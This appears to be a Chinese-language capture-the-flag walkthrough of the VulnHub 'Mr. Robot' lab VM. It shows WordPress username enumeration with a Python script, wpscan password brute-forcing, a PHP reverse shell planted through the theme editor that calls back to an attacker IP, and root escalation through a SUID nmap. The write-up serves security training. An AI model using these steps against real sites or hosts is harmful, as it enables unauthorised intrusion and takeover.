简介

图片

靶机介绍:根据演练,机器人先生。 此VM具有隐藏在不同位置的三个Key。 您的目标是找到全部三个。 每个Key逐渐难以找到。 该级别被认为是初学者-中级。
下载地址:https://www.vulnhub.com/entry/mr-robot-1,151/
PS:这个靶机的WEB界面炫酷的一批!大家可以去看看!

运用的知识点

Python脚本验证Wordpress用户是否存在
wpscan爆破用户密码
Wordpress后台编辑页面处Getshell
Nmap提权

信息搜集

拿到靶机先是对目标 IP 进行了端口扫描探测:

1
nmap -A -T4 192.168.159.131

图片

由上图可见,它开放了 80(http)、443(https)两个端口,其中 22(ssh)是关闭了的!

我们先从他的 80 端口开始下手,打开它的页面是牛逼吊炸天的特效:

图片

图片

我先后输入了他的 Commands 参数发现没有什么作用:

图片

1
2
3
4
5
6
prepare
fsociety
inform
question
wakeup
join

然后尝试了一波看看能不能执行命令但是也失败了(我傻逼了,前端JS的特效我去执行命令233333):

图片

获取Key-1

这个时候在它的”炫酷”页面上没必要浪费时间,我习惯性的看他 robots.txt 文件发现了两个文件:

图片

图片

图片

这个时候成功获取到第一个 Key,而且还得到了一个类似字典文件:fsocity.dic

接下来我直接去扫他的目录文件看看有没有什么突破点:

1
python3 dirsearch.py -u http://192.168.159.131/ -e .php -x 301,302,403

图片

获取Key2-Wordpress后台Getshell

扫描出来后看到网站目录很像是 Wordpress 搭建的网站,我们先验证一下看看:

1
http://192.168.159.131/wp-admin

图片

很显然他的 CMS 就是 Wordpress ,那么我们就可以使用 KALI 上自带的 wpscan 来对它进行简单的扫描看看存在哪些用户:

1
wpscan --url http://192.168.159.131/ -e u

图片

但是扫描出来后发现没用得到一些用户,这个时候容我点燃一支眼理理思路:刚刚我们得到了一个字典文件,是不是要让我们利用那个字典去进入到网站的后台?

按照这个思路,我是用 Python 写了一个小脚本来验证探测有那些用户:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

open_file = open('fsocity.dic', 'r')
temp = open_file.read().splitlines()
count = 0
for username in temp:
payload = {'log': '{0}'.format(username), 'pwd': 'dummy'}
headers = {'Content-Type' : 'application/x-www-form-urlencoded'}
cookies = dict(wordpress_test_cookie='WP+Cookie+check')
r = requests.post("http://192.168.159.131/wp-login.php", data=payload, headers=headers, cookies=cookies)
if "Invalid username" not in r.text:
print username

图片

运行完脚本后我发现它有一个用户为 Elliot,这正是《黑客军团》的主角名字,既然有了用户名那么我们就可以对它进行爆破密码:

1
wpscan --url 192.168.159.131 -U elliot -P /root/Downloads/fsocity.dic -t 20

图片

爆破成功得到了 elliot 的密码为 ER28-0652!随后我拿着密码登陆到了后台来到编辑页面处:Appearance-Editor,然后我写入了反弹shellphp

1
2
3
4
5
6
7
8
9
10
11
<?php
$sock=fsockopen('192.168.159.128',4444);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

图片

保存之后我们 nc 监听 4444 端口,然后访问 404.php 反弹得到一个 shell

图片

先是让他获取到一个 bash 的shell环境:

1
python -c 'import pty;pty.spawn("/bin/bash")'

然后设置一下环境变量这样我们就可以清屏了(clean):

1
export TERM=screen

图片

之后我来到 home 目录下发现了一个 robot 用户,在 robot 目录下发现了两个文件:

图片

key-2-of-3.txt 我们没权限所以无法打开,但是打开 password.raw-md5 是可以查看的:

1
robot:c3fcd3d76192e4007dfb496cca67e13b

看上去像一段 MD5 的密文,紧接着我拿去解密 hash 得到密码:

1
abcdefghijklmnopqrstuvwxyz

图片

拿到密码成功切换到 robot 用户:

图片

获取Key3-权限提升

这个时候我们就可以查看第二个 Key 文件了:

图片

还差最后一个!因此我们需要提权,我首先是看看有没有 SUID 权限的可执行的二进制文件:

1
find / -type f -perm -u=s 2>/dev/null

图片

执行完命令发现了有一个 nmap ,这个时候我们就可以利用它来提权:

1
2
/usr/local/bin/nmap --interactive
!sh

图片

图片

最后也是成功在 /root 目录下拿到了第三个Key完成这次渗透测试!